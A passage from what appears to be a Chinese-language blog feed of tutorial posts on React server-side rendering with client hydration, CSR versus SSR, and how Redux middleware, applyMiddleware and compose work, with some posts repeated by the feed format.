接著當然要把 client.js 也 bundle 起來,就像 create-react-app 做的一樣。
//webpack.client.js
const path = require('path');
module.exports = {
entry: './src/client.js',
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, './dist'),
},
module: {
rules: [
{
test: /.js$/,
use: {
loader: 'babel-loader',
options: {
presets: ['@babel/preset-react', '@babel/preset-env'],
},
},
},
],
},
devServer: {
port: 8080,
},
};
因為這一包是要在瀏覽器上執行的,所以記得要連 node_modules 都一起包起來。
記得再回到 renderer.js 把打包好的 client.js 給引入到 html 裡的 script 標籤。
//renderer.js
import React from 'react'
import { renderToString } from 'react-dom/server'
import { StaticRouter } from 'react-router-dom/server'
import { Route, Routes } from 'react-router-dom'
import HomePage from '../pages/HomePage'
import OtherPage from '../pages/OtherPage'
import Header from '../components/Header'
export default (req) => {
const content = renderToString(
<StaticRouter location={req.path}>
<Header />
<Routes>
<Route exact path='/' element={<HomePage />} />
<Route exact path='/other' element={<OtherPage />} />
</Routes>
</StaticRouter>
);
return `
<html>
<body>
<div id="root">${content}</div>
<script src="./bundle.js"></script> // 記得加上 bundle.js
</body>
</html>
`;
};
最後可能忽略的小細節是幫 express 指定靜態檔案的路徑,指定路徑為打包好的 client.js 放的 dist 資料夾。
// server.js
import express from 'express'
import renderer from './helpers/renderer'
const app = express()
const port = process.env.PORT || 3001
app.use(express.static('dist')) // 指定靜態資源路徑
app.get('/', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.get('/other', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.listen(port, () => {
console.log(`Listening on port: ${port}`)
})
在 cmd 執行:
npm run dev:build:server
npm run dev:build:client
npm run dev:server
或者開大決:
npm run dev
開啟 localhost:3001 來測試看看吧! 為了測試 Static Router,這次從 localhost:3001/other 進入。
這次換頁不用重新向伺服器請求而且點擊按鈕 EventListener 也成功監聽了,完美!
如果不想一步一步來的話可以直接參考這裡。
想知道全部使用 CSR 以及第一次渲染使用 SSR 的優劣可以看前一篇。
]]>在網路上看到許多定義 SSR 指的是瀏覽器第一次請求內容使用 SSR,但後續還是使用 CSR 的方式。
為了不要混淆讓人以為所有畫面的改變都是使用 SSR,所以我把這樣的方法稱作 1st SSR + CSR。
在實作 React 版本的 SSR + CSR 以前,先大致瀏覽一下架構這次實作的架構。
這個架構有幾個特色:
第一步要安裝需要的套件,可以照著底下節錄的 package.json 安裝。
"dependencies": {
"express": "^4.17.2",
"prop-types": "^15.7.2",
"react": "^17.0.2",
"react-dom": "^17.0.2",
"react-router-dom": "^6.2.1",
"webpack-node-externals": "^1.7.2"
},
"devDependencies": {
"@babel/core": "^7.10.4",
"@babel/preset-env": "^7.10.4",
"@babel/preset-react": "^7.10.4",
"babel-loader": "^8.1.0",
"nodemon": "^2.0.4",
"npm-run-all": "^4.1.5",
"webpack": "^4.43.0",
"webpack-cli": "^3.3.12",
"webpack-node-externals": "^1.7.2"
}
express 作為撰寫渲染伺服器的框架,能夠在使用者請求 HTML 時,決定要渲染哪個元件,或者是呼叫 API 請求資料,並將資料渲染至 HTML 中,最後以字串回傳 HTML。
因為不用 create-react-app 打包 react 的關係,所以需要自己動手打包。
除了需要讓 babel 轉換 JSX 的語法之外,也記得要讓 ES6 轉 ES5 語法,因為 server 是跑在 node 環境,對 ES6 的支援度不高。
nodemon 可以取代 node 執行 js 程式,厲害的是類似於 dev server,nodemon 會隨時監聽執行程式有沒有被修改,並且重新執行。
先看一下在 package.json 中定義的幾個快捷指令:
"scripts": {
"dev": "npm-run-all --parallel dev:build:* dev:server ",
"dev:server": "nodemon --inspect build/bundle.js",
"dev:build:server": "webpack --mode development --config webpack.server.js --watch",
"dev:build:client": "webpack --mode development --config webpack.client.js --watch"
}
當輸入指令 npm run [npm-script]
時,會自動執行定義好的 command。
下面是各個指令的功能:
進入實作的第一個困難是,有沒有甚麼方法可以很方便的將 React Component 轉成 html tags 呢?
記得在第一次渲染的時候,我們希望渲染伺服器可以給瀏覽器 html,如果我們希望搭配 react 達成這件事情的話,react 已經提供了這樣的函式。
我們來看看 renderToString
這個函式在官網的介紹
React 將會回傳一個 HTML string,你可以使用這個方法在伺服器端產生 HTML,並在初次請求時傳遞 markup,以加快頁面載入速度,並讓搜尋引擎爬取你的頁面以達到 SEO 最佳化的效果。
│ .babelrc
│ package.json
│ webpack.client.js
│ webpack.server.js
└─src
│ server.js
│ client.js
│ App.js
└─pages
│ │ HomePage.js
│ │ OtherPage.js
└─helpers
│ │ renderer.js
└─components
│ Header.js
這個實作會有兩個分頁,叫做 HomePage 與 OtherPage。
// HomePage
import React from 'react'
const HomePage = () => (
<div>
<h1>HomePage</h1>
<h2>Hello! I am HomePage!</h2>
</div>
)
export default HomePage
OtherPage 比較特別一點,我們加上一個按鈕以及 EventListener,每按一下都會在 console 收到通知。
import React from 'react'
const OtherPage = () => (
<div>
<h1>OtherPage</h1>
<button onClick={() => console.log("click me")}>click me</button>
</div>
)
export default OtherPage
為了方便切換頁面,接著要切一個 Header。
import React from 'react'
import { Link } from 'react-router-dom'
const Header = () => (
<ul>
<li>
<Link to="/">Home</Link>
</li>
<li>
<Link to="other">Other page</Link>
</li>
</ul>
)
export default Header
這個 express 渲染伺服器,提供 /
與 /other
的 GET API,在使用者進入 localhost:3001 時,會選擇元件 <HomePage />
或是 <OtherPage />
轉換成 HTML 字串,然後回傳。
import express from 'express'
import renderer from './helpers/renderer'
const app = express()
const port = process.env.PORT || 3001
app.get('/', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.get('/other', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.listen(port, () => {
console.log(`Listening on port: ${port}`)
})
不是說要用 renderToString
把元件轉成 html 嗎? 我們把這個邏輯抽成一個叫做 renderer 的 function。
import React from 'react'
import { renderToString } from 'react-dom/server'
import { StaticRouter } from 'react-router-dom/server'
import { Route, Routes } from 'react-router-dom'
import HomePage from '../pages/HomePage'
import OtherPage from '../pages/OtherPage'
import Header from '../components/Header'
export default (req) => {
const content = renderToString(
<StaticRouter location={req.path}>
<Header />
<Routes>
<Route exact path='/' element={<HomePage />} />
<Route exact path='/other' element={<OtherPage />} />
</Routes>
</StaticRouter>
);
return `
<html>
<body>
<div id="root">${content}</div>
</body>
</html>
`
}
這邊有趣的是使用了 Static Router 當作路由,Static Router 會實際依照網址來渲染內容,所以在第一次使用 SSR 渲染時,就可以根據網址來將對應的元件傳換成 Html。
如果使用 Browser Router 是行不通的,因為 Browser Router 要使用到 document 上的函式,但是在第一次使用 SSR 的時候內容是放在 HTML 裡的,那時候尚未有 document 可以使用。
接著準備要 compile,所以要先把 babel 的設定寫在 .babelrc 裡頭。
{
"presets": [
"@babel/preset-env",
"@babel/preset-react"
]
}
這兩個 preset 是為了因應我們在 node.js 的環境中會用到 React 的 JSX 語法,而且可能會用到比較新的 JavaScript 語法。
最後只要寫好 webpack 設定檔就可以 compile 了。
// webpack.server.js
const path = require('path')
const webpackNodeExternals = require('webpack-node-externals')
module.exports = {
target: 'node', //使用 node.js 的環境編譯程式碼。
entry: './src/server.js', // 入口點
externals: [webpackNodeExternals()], // 因為在 node 中可以另外引入相依套件,所以不用把 node_modules 都打包
output: {
filename: 'bundle.js', // 打包後的檔案名稱
path: path.resolve(__dirname, './build'), // 打包後的檔案路徑
},
module: {
rules: [
{
test: /.js$/,
use: {
loader: 'babel-loader',
options: {
presets: ['@babel/preset-react', '@babel/preset-env'], // 可以寫在 .babelrc 也可以寫在這裡
},
},
},
],
},
devServer: {
port: 8080,
},
};
在 cmd 輸入以下指令進行打包與開啟 express server
npm run dev:build:server
npm run dev:server
接著在瀏覽器輸入 localhost:3001 測試。
有兩個問題需要改善:
記得前面提到我們希望把第一次渲染之後不管是監聽或是換頁等等的工作都交給瀏覽器嗎?
所以只要在第一次渲染之後的換頁都採用 Browser Router 就沒有換頁的問題了。
至於 EventListener 的問題也是因為純文字的 Html 並沒有辦法加上 EventListener,所以也必須仰賴 Client 端在第一次渲染以後另外加上。
我們再看一次之前的第一次渲染使用 CSR vs SSR 的比較圖:
接著我們試著把紅色框的部分完成。
我們除了前面用 webpack 打包 express 的程式碼,現在還要多一個在使用者看到網頁內容後,用於綁定事件以及支援 BrowserRouter 的 JavaScript 檔案。
//client.js
import React from 'react'
import ReactDOM from 'react-dom'
import App from './App'
ReactDOM.hydrate(
<App />,
document.getElementById('root')
)
接著把 Browser Router 寫在 App.js 裡面
//App.js
import React from 'react'
import { BrowserRouter, Route, Routes } from 'react-router-dom'
import HomePage from './pages/HomePage'
import OtherPage from './pages/OtherPage'
import Header from './components/Header'
const App = () => (
<BrowserRouter>
<Header />
<Routes>
<Route exact path='/' element={<HomePage />} />
<Route exact path='/other' element={<OtherPage />} />
</Routes>
</BrowserRouter>
);
export default App
到這裡眼尖的人應該會注意到在 client.js 裡我們使用 ReactDOM.hydrate 而不是 ReactDOM.render。
官方網站這樣子介紹 ReactDOM.hydrate :
如果你在一個已經有伺服器端 render markup 的 node 上呼叫 ReactDOM.hydrate,React 將會保留這個 node 並只附上事件處理,這使你能有一個高效能的初次載入體驗。
所以說使用 React.hydrate 的話可以保留 SSR 與 CSR 相同的部分,節省了一些效能。
接著當然要把 client.js 也 bundle 起來,就像 create-react-app 做的一樣。
//webpack.client.js
const path = require('path');
module.exports = {
entry: './src/client.js',
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, './dist'),
},
module: {
rules: [
{
test: /.js$/,
use: {
loader: 'babel-loader',
options: {
presets: ['@babel/preset-react', '@babel/preset-env'],
},
},
},
],
},
devServer: {
port: 8080,
},
};
因為這一包是要在瀏覽器上執行的,所以記得要連 node_modules 都一起包起來。
記得再回到 renderer.js 把打包好的 client.js 給引入到 html 裡的 script 標籤。
//renderer.js
import React from 'react'
import { renderToString } from 'react-dom/server'
import { StaticRouter } from 'react-router-dom/server'
import { Route, Routes } from 'react-router-dom'
import HomePage from '../pages/HomePage'
import OtherPage from '../pages/OtherPage'
import Header from '../components/Header'
export default (req) => {
const content = renderToString(
<StaticRouter location={req.path}>
<Header />
<Routes>
<Route exact path='/' element={<HomePage />} />
<Route exact path='/other' element={<OtherPage />} />
</Routes>
</StaticRouter>
);
return `
<html>
<body>
<div id="root">${content}</div>
<script src="./bundle.js"></script> // 記得加上 bundle.js
</body>
</html>
`;
};
最後可能忽略的小細節是幫 express 指定靜態檔案的路徑,指定路徑為打包好的 client.js 放的 dist 資料夾。
// server.js
import express from 'express'
import renderer from './helpers/renderer'
const app = express()
const port = process.env.PORT || 3001
app.use(express.static('dist')) // 指定靜態資源路徑
app.get('/', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.get('/other', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.listen(port, () => {
console.log(`Listening on port: ${port}`)
})
在 cmd 執行:
npm run dev:build:server
npm run dev:build:client
npm run dev:server
或者開大決:
npm run dev
開啟 localhost:3001 來測試看看吧! 為了測試 Static Router,這次從 localhost:3001/other 進入。
這次換頁不用重新向伺服器請求而且點擊按鈕 EventListener 也成功監聽了,完美!
如果不想一步一步來的話可以直接參考這裡。
想知道全部使用 CSR 以及第一次渲染使用 SSR 的優劣可以看前一篇。
]]>CSR (Client side rendering) 與 SSR (Server Side rendering) 有甚麼不同呢?
在深入這個問題之前,可以先看下面這張圖:
首先先看 CSR,許多的 SPA 的網站都利用 CSR 來實現,為了實現瀏覽器不用請求新的頁面就達到換頁的效果,可以讓 Javascript 負責畫面元件的渲染,造成換頁的效果。
圖中以 React 為例,首先瀏覽器請求 Html,不過大部分的情況下,瀏覽器只會收到一個很空的 Html,像下面的範例一樣。
<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/react-blog-redux-/favicon.ico"/><link href="https://fonts.googleapis.com/css2?family=Noto+Sans+TC:wght@400;500;700;900&display=swap" rel="stylesheet"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="Web site created using create-react-app"/><link rel="apple-touch-icon" href="/react-blog-redux-/logo192.png"/><link rel="manifest" href="/react-blog-redux-/manifest.json"/><title>React Redux App</title><script id="react-dotenv" src="https://wangpoching.github.io/react-blog-redux-/env.js"></script><script defer="defer" src="/react-blog-redux-/static/js/main.9d047363.js"></script><link href="/react-blog-redux-/static/css/main.412967fc.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>
有趣的是除了 id 名叫 root 的 div 元素以外,body 是空的。不過在 header 裡頭會請求 compile 好的 javascript 檔案,負責諸如監聽、渲染以及發 API 等大大小小的工作。
最後使用者得以看到畫面。
再來看到 SSR 的部分,SSR 代表當瀏覽器請求 Html 時,網頁的內容已經被寫在 Html 裡了,因此瀏覽器在解析完 css 與 html 後會自動渲染畫面,而不是由 javascript 所操縱渲染畫面。
在 SSR 的情況下瀏覽器一開始收到的 Html 是類似下面的範例的,可以看到畫面需要呈現的內容幾乎都寫在 body 裡頭了。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>lazy-form</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="./normalize.css">
<link rel="stylesheet" href="./modal.css">
<script src="./index.js"></script>
</head>
<body>
<div class="all__wrapper">
<div class="form__wrapper">
<div class="wrapper">
<section>
<h1>Todo List</h1>
</section>
</div>
<div class="wrapper">
<section class= 'query-block'>
<input class="input__text" type="text" placeholder="Add something to do here <( ̄︶ ̄)>?">
<div class="input__underline"></div>
</section>
</div>
<div class="wrapper">
<section class= 'main-block'>
<ul>
<li>
<label>
<input class="todo" type="checkbox" />
<div>開會</div>
</label>
<div class="btn__delete"><div>
</li>
<li>
<label>
<input class="todo" type="checkbox" />
<div>遛狗</div>
</label>
<div class="btn__delete"><div>
</li>
<li>
<label>
<input class="todo" type="checkbox" />
<div>掃客廳</div>
</label>
<div class="btn__delete"><div>
</li>
</ul>
</section>
</div>
</div>
</div>
</body>
</html>
雖然使用 CSR 的方式寫 SPA 很方便,而且像是 React, Vue 等等的框架可以省去把資料與畫面的邏輯混著寫的麻煩,那幹嘛要用 SSR?
因為 CSR 是由前端的 JavaScript 動態產生內容,所以當檢視原始碼時,只會看到空蕩蕩的一片,只看得到一個 JavaScript 檔案。
對於 SEO 來說,簡直糟透了,不過 Google 的爬蟲其實支援執行 JavaScript,所以也許他有辦法知道實際的內容。
不過問題是除了 Google,還有其他很多搜尋引擎並沒有執行 JavaScript 的機制。
有沒有甚麼辦法可以融合 SSR 還有 CSR 的優點呢? 如果可以在第一次請求 HTML 時使用 SSR,之後元件的 routing、請求 API 都是在瀏覽器端執行,這樣一來有許多優點。
至於要怎麼實作,會在下一篇討論。
]]>CSR (Client side rendering) 與 SSR (Server Side rendering) 有甚麼不同呢?
在深入這個問題之前,可以先看下面這張圖:
首先先看 CSR,許多的 SPA 的網站都利用 CSR 來實現,為了實現瀏覽器不用請求新的頁面就達到換頁的效果,可以讓 Javascript 負責畫面元件的渲染,造成換頁的效果。
圖中以 React 為例,首先瀏覽器請求 Html,不過大部分的情況下,瀏覽器只會收到一個很空的 Html,像下面的範例一樣。
<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/react-blog-redux-/favicon.ico"/><link href="https://fonts.googleapis.com/css2?family=Noto+Sans+TC:wght@400;500;700;900&display=swap" rel="stylesheet"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="Web site created using create-react-app"/><link rel="apple-touch-icon" href="/react-blog-redux-/logo192.png"/><link rel="manifest" href="/react-blog-redux-/manifest.json"/><title>React Redux App</title><script id="react-dotenv" src="https://wangpoching.github.io/react-blog-redux-/env.js"></script><script defer="defer" src="/react-blog-redux-/static/js/main.9d047363.js"></script><link href="/react-blog-redux-/static/css/main.412967fc.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>
有趣的是除了 id 名叫 root 的 div 元素以外,body 是空的。不過在 header 裡頭會請求 compile 好的 javascript 檔案,負責諸如監聽、渲染以及發 API 等大大小小的工作。
最後使用者得以看到畫面。
再來看到 SSR 的部分,SSR 代表當瀏覽器請求 Html 時,網頁的內容已經被寫在 Html 裡了,因此瀏覽器在解析完 css 與 html 後會自動渲染畫面,而不是由 javascript 所操縱渲染畫面。
在 SSR 的情況下瀏覽器一開始收到的 Html 是類似下面的範例的,可以看到畫面需要呈現的內容幾乎都寫在 body 裡頭了。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>lazy-form</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="./normalize.css">
<link rel="stylesheet" href="./modal.css">
<script src="./index.js"></script>
</head>
<body>
<div class="all__wrapper">
<div class="form__wrapper">
<div class="wrapper">
<section>
<h1>Todo List</h1>
</section>
</div>
<div class="wrapper">
<section class= 'query-block'>
<input class="input__text" type="text" placeholder="Add something to do here <( ̄︶ ̄)>?">
<div class="input__underline"></div>
</section>
</div>
<div class="wrapper">
<section class= 'main-block'>
<ul>
<li>
<label>
<input class="todo" type="checkbox" />
<div>開會</div>
</label>
<div class="btn__delete"><div>
</li>
<li>
<label>
<input class="todo" type="checkbox" />
<div>遛狗</div>
</label>
<div class="btn__delete"><div>
</li>
<li>
<label>
<input class="todo" type="checkbox" />
<div>掃客廳</div>
</label>
<div class="btn__delete"><div>
</li>
</ul>
</section>
</div>
</div>
</div>
</body>
</html>
雖然使用 CSR 的方式寫 SPA 很方便,而且像是 React, Vue 等等的框架可以省去把資料與畫面的邏輯混著寫的麻煩,那幹嘛要用 SSR?
因為 CSR 是由前端的 JavaScript 動態產生內容,所以當檢視原始碼時,只會看到空蕩蕩的一片,只看得到一個 JavaScript 檔案。
對於 SEO 來說,簡直糟透了,不過 Google 的爬蟲其實支援執行 JavaScript,所以也許他有辦法知道實際的內容。
不過問題是除了 Google,還有其他很多搜尋引擎並沒有執行 JavaScript 的機制。
有沒有甚麼辦法可以融合 SSR 還有 CSR 的優點呢? 如果可以在第一次請求 HTML 時使用 SSR,之後元件的 routing、請求 API 都是在瀏覽器端執行,這樣一來有許多優點。
至於要怎麼實作,會在下一篇討論。
]]>Redux 提供了 middleware 的功能,讓我們可以在 action 被真正送到 reducer 以前,可以做許多客製化的事情。
最重要當然是處理非同步的事件,像是可以發 API 請求資料。其他像是用 redux-logger 幫助記錄存入 redux 前後的狀態也是常用的 middleware 之一。
以我的了解來說,middleware 可以說是 pre-reducer 的 hooks。
如果還不是很明白 middleware 被使用的時機,可以看看下面這張圖:
import { applymiddleware, createStore } from 'redux'
import logger from 'redux-logger'
const store = createStore(reducer, applyMiddleware(logger))
在創建 store 的時候,只要簡單的將要用到的 middleware 當作參數放進 applyMiddleware 裡,就可以成功讓 store 與 middlewares 連結。
在 logger 的例子裡,所有 action 都會先經過 logger,印出進出 reducer 前後的狀態。
官方提供的 logger 函式的範例是這樣子的:
const logger = store => next => action => {
console.log("dispatching1", action);
let result = next(action);
console.log("next state1", store.getState());
return result;
};
看起來太簡化了,所以在這裡先改成用 function declaration 的方式寫
function logger(store) {
return function wrapDispatchToAddLogging(next) {
return function dispatchAndLog(action) {
console.log('dispatching', action);
let result = next(action);
console.log('next state', store.getState());
return result;
}
}
}
至於為甚麼要包這麼多層,只好繼續看下去。
為了瞭解 logger 的寫法必須往前追溯 createStore 以及 applyMiddeware 是如何運作的。
首先先來看 createStore 的部分,store 有分兩種,一種是有 enhancer 的 store 以及沒有 enhancer 的 store。為了方便理解,在這邊可以思考成有 middleware 的 store 以及沒有 middleware 的 store。
createStore 擁有三個參數:
這個時候機靈的小夥伴們可能開始疑惑了,如果 applyMiddleware 會回傳一個 enhancer ,為了麼上面的範例裡是把 applyMiddleware(logger)
放在第二個參數呢?
這時候可以從節錄的 createStore 源碼得到解答:
export default function createStore(reducer, preloadedState, enhancer) {
...
if (typeof preloadedState === "function" && typeof enhancer === "undefined") {
enhancer = preloadedState;
preloadedState = undefined;
}
if (typeof enhancer !== "undefined") {
if (typeof enhancer !== "function") {
throw new Error("Expected the enhancer to be a function.");
}
return enhancer(createStore)(reducer, preloadedState);
}
...
}
第四行的地方表明了當第二個參數是一個 function 而且第三個參數沒有定義的情況,
會把 preloadedState 的值傳給 enhancer ,並且把 preloadedState 設定成 undefined。
在定義好各自的角色以後,最後,用 enhancer 把 reducer 包裝起來,變成一個有 enhancer 的 reducer。
applyMiddleware 可以產生一個 store enhancer。它的效果是可以用 currying 將多個 middleware 串聯在一起,變成 middleware chain。
畫個圖感覺會像這樣子:
感覺應該還是滿不清楚的,再繼續看下去回過頭來再看這張圖會更清楚一些。
下面是 applyMiddleware 的源碼:
export default function applyMiddleware(...middlewares) {
return createStore => (reducer, ...args) => {
const store = createStore(reducer, ...args);
let dispatch: Dispatch = () => {
throw new Error(
'Dispatching while constructing your middleware is not allowed. ' +
'Other middleware would not be applied to this dispatch.'
)
}
const middlewareAPI = {
getState: store.getState,
dispatch: (action, ...args) => dispatch(action, ...args)
};
const chain = middlewares.map(middleware => middleware(middlewareAPI));
dispatch = compose(...chain)(store.dispatch);
return {
...store,
dispatch
};
};
}
首先我們回想 createStore 在有 enhancer 的情況下會返回 enhancer(createStore)(reducer, preloadedState);
這樣的東西。
這邊的 enhancer 我們用簡單的範例就是 applyMiddleware(logger) 回傳的 function。 接著我們注意到源碼的第二行要帶入的參數就是 createStore,最後再把返回的函式帶入 reducer。
最後返回的東西會跟原始的 createStore 有點像,一樣有 subscribe 以及 getState。 不過看起來 dispatch 似乎被修改過了,也就是完成了對 createStore 的修飾。
接下來繼續詳細的看 dispatch 是如何被修改。
第三行的地方呼叫了 createStore(reducer, ...args),這邊的 ...args 是 preloadedState,由於 preloadedState 在前面把函式傳給 enhancer 後,被設定為 undefined,所以可以看成 createStore(reducer)。
接著先跳到 createStore 的源碼下半段,如果沒有 enhancer 會做的事情:
export default function createStore(reducer, preloadedState, enhancer) {
...
let currentReducer = reducer;
let currentState = preloadedState;
function getState() {
return currentState;
}
function dispatch(action: A) {
currentState = currentReducer(currentState, action);
return action;
}
dispatch({ type: ActionTypes.INIT });
const store = {
dispatch,
subscribe,
getState
};
return store;
}
裡面做的事情就是定義了 getState, dispatch, subscribe 然後發送一個 INIT 的 action。
我們再看一次 logger 函式。
function logger(store) {
return function wrapDispatchToAddLogging(next) {
return function dispatchAndLog(action) {
console.log('dispatching', action);
let result = next(action);
console.log('next state', store.getState());
return result;
}
}
}
前面提到過 middleware chain,其中 next 會不斷指向下一個 middleware 函式,所以,在 dispatch action 後進入 middleware 的函式, action 不斷被往下一個 middleware 傳遞 (logger 的第 5 行)。
接著回到 applyMiddleware 的第 4–16 行
let dispatch: Dispatch = () => {
throw new Error(
'Dispatching while constructing your middleware is not allowed. ' +
'Other middleware would not be applied to this dispatch.'
)
}
const middlewareAPI = {
getState: store.getState,
dispatch: (action, ...args) => dispatch(action, ...args)
};
const chain = middlewares.map(middleware => middleware(middlewareAPI));
dispatch = compose(...chain)(store.dispatch);
`
首先透過 map 將經過修改的 getState 與 dispatch 傳入到每一個 middleware 中的第一個參數。為了避免 middleware 在建立時,其中一個 middleware 函式呼叫了 store.dispatch 讓程式壞掉。
現在 chain 會長得像這樣:
[middleware1 = next => action => {...}, middleware2 = next => action => {...}, ...]
如果不太清楚的話可以回頭看看 logger 的寫法。
現在 chain 裡面儲存了很多的 next => action => {...}
,下個步驟就是將每個 middleware 的 next 都指向下一個 middleware 函式。
而答案就在 compose 這個函式裡面。 底下是 compose 的實作。
export default function compose(...funcs) {
if (funcs.length === 0) {
return (arg) => arg
}
if (funcs.length === 1) {
return funcs[0]
}
return funcs.reduce((a, b) => (...args) => a(b(...args)))
}
reduce 的用法可以參考 MDN Web Docs。
假設有兩個 middleware 分別是 logger 與 reportError,情況會像下面這樣:
const logger = (next) {
return function dispatchAndLog(action) {
console.log('dispatching', action);
let result = next(action);
console.log('next state', store.getState());
return result;
}
}
const reportError = next => action => {...}
// reduce 回傳的函式
return (next) => logger(reportError(next))
所以 reduce 最後會回傳一個函式,這個函式暴露出最後一個 middleware 的 next 參數,想當然爾要放入 dispatch 來完成對 dispatch 的包裝。
現在再看一次剛剛的圖應該清楚多了!
如果把事情簡化成只有一個 middleware,也就是 logger,會更好解釋。此時的 dispatch 也就會是:
dispatch = (action) {
console.log('dispatching', action);
let result = store.dispatch(action);
console.log('next state', store.getState());
return result;
}
applyMiddleware 的最後一個步驟就是把原本串聯在一起的 middleware 傳到 redux 中,改掉原本的 dispatch 函式。到此為止加強版的 store 就被建立起來了。
最後當 dispatch 被呼叫時,就會先經過 middleware 的邏輯以後才實際發出 dispatch 讓 reducer 處理。
]]>Redux 提供了 middleware 的功能,讓我們可以在 action 被真正送到 reducer 以前,可以做許多客製化的事情。
最重要當然是處理非同步的事件,像是可以發 API 請求資料。其他像是用 redux-logger 幫助記錄存入 redux 前後的狀態也是常用的 middleware 之一。
以我的了解來說,middleware 可以說是 pre-reducer 的 hooks。
如果還不是很明白 middleware 被使用的時機,可以看看下面這張圖:
import { applymiddleware, createStore } from 'redux'
import logger from 'redux-logger'
const store = createStore(reducer, applyMiddleware(logger))
在創建 store 的時候,只要簡單的將要用到的 middleware 當作參數放進 applyMiddleware 裡,就可以成功讓 store 與 middlewares 連結。
在 logger 的例子裡,所有 action 都會先經過 logger,印出進出 reducer 前後的狀態。
官方提供的 logger 函式的範例是這樣子的:
const logger = store => next => action => {
console.log("dispatching1", action);
let result = next(action);
console.log("next state1", store.getState());
return result;
};
看起來太簡化了,所以在這裡先改成用 function declaration 的方式寫
function logger(store) {
return function wrapDispatchToAddLogging(next) {
return function dispatchAndLog(action) {
console.log('dispatching', action);
let result = next(action);
console.log('next state', store.getState());
return result;
}
}
}
至於為甚麼要包這麼多層,只好繼續看下去。
為了瞭解 logger 的寫法必須往前追溯 createStore 以及 applyMiddeware 是如何運作的。
首先先來看 createStore 的部分,store 有分兩種,一種是有 enhancer 的 store 以及沒有 enhancer 的 store。為了方便理解,在這邊可以思考成有 middleware 的 store 以及沒有 middleware 的 store。
createStore 擁有三個參數:
這個時候機靈的小夥伴們可能開始疑惑了,如果 applyMiddleware 會回傳一個 enhancer ,為了麼上面的範例裡是把 applyMiddleware(logger)
放在第二個參數呢?
這時候可以從節錄的 createStore 源碼得到解答:
export default function createStore(reducer, preloadedState, enhancer) {
...
if (typeof preloadedState === "function" && typeof enhancer === "undefined") {
enhancer = preloadedState;
preloadedState = undefined;
}
if (typeof enhancer !== "undefined") {
if (typeof enhancer !== "function") {
throw new Error("Expected the enhancer to be a function.");
}
return enhancer(createStore)(reducer, preloadedState);
}
...
}
第四行的地方表明了當第二個參數是一個 function 而且第三個參數沒有定義的情況,
會把 preloadedState 的值傳給 enhancer ,並且把 preloadedState 設定成 undefined。
在定義好各自的角色以後,最後,用 enhancer 把 reducer 包裝起來,變成一個有 enhancer 的 reducer。
applyMiddleware 可以產生一個 store enhancer。它的效果是可以用 currying 將多個 middleware 串聯在一起,變成 middleware chain。
畫個圖感覺會像這樣子:
感覺應該還是滿不清楚的,再繼續看下去回過頭來再看這張圖會更清楚一些。
下面是 applyMiddleware 的源碼:
export default function applyMiddleware(...middlewares) {
return createStore => (reducer, ...args) => {
const store = createStore(reducer, ...args);
let dispatch: Dispatch = () => {
throw new Error(
'Dispatching while constructing your middleware is not allowed. ' +
'Other middleware would not be applied to this dispatch.'
)
}
const middlewareAPI = {
getState: store.getState,
dispatch: (action, ...args) => dispatch(action, ...args)
};
const chain = middlewares.map(middleware => middleware(middlewareAPI));
dispatch = compose(...chain)(store.dispatch);
return {
...store,
dispatch
};
};
}
首先我們回想 createStore 在有 enhancer 的情況下會返回 enhancer(createStore)(reducer, preloadedState);
這樣的東西。
這邊的 enhancer 我們用簡單的範例就是 applyMiddleware(logger) 回傳的 function。 接著我們注意到源碼的第二行要帶入的參數就是 createStore,最後再把返回的函式帶入 reducer。
最後返回的東西會跟原始的 createStore 有點像,一樣有 subscribe 以及 getState。 不過看起來 dispatch 似乎被修改過了,也就是完成了對 createStore 的修飾。
接下來繼續詳細的看 dispatch 是如何被修改。
第三行的地方呼叫了 createStore(reducer, ...args),這邊的 ...args 是 preloadedState,由於 preloadedState 在前面把函式傳給 enhancer 後,被設定為 undefined,所以可以看成 createStore(reducer)。
接著先跳到 createStore 的源碼下半段,如果沒有 enhancer 會做的事情:
export default function createStore(reducer, preloadedState, enhancer) {
...
let currentReducer = reducer;
let currentState = preloadedState;
function getState() {
return currentState;
}
function dispatch(action: A) {
currentState = currentReducer(currentState, action);
return action;
}
dispatch({ type: ActionTypes.INIT });
const store = {
dispatch,
subscribe,
getState
};
return store;
}
裡面做的事情就是定義了 getState, dispatch, subscribe 然後發送一個 INIT 的 action。
我們再看一次 logger 函式。
function logger(store) {
return function wrapDispatchToAddLogging(next) {
return function dispatchAndLog(action) {
console.log('dispatching', action);
let result = next(action);
console.log('next state', store.getState());
return result;
}
}
}
前面提到過 middleware chain,其中 next 會不斷指向下一個 middleware 函式,所以,在 dispatch action 後進入 middleware 的函式, action 不斷被往下一個 middleware 傳遞 (logger 的第 5 行)。
接著回到 applyMiddleware 的第 4–16 行
let dispatch: Dispatch = () => {
throw new Error(
'Dispatching while constructing your middleware is not allowed. ' +
'Other middleware would not be applied to this dispatch.'
)
}
const middlewareAPI = {
getState: store.getState,
dispatch: (action, ...args) => dispatch(action, ...args)
};
const chain = middlewares.map(middleware => middleware(middlewareAPI));
dispatch = compose(...chain)(store.dispatch);
`
首先透過 map 將經過修改的 getState 與 dispatch 傳入到每一個 middleware 中的第一個參數。為了避免 middleware 在建立時,其中一個 middleware 函式呼叫了 store.dispatch 讓程式壞掉。
現在 chain 會長得像這樣:
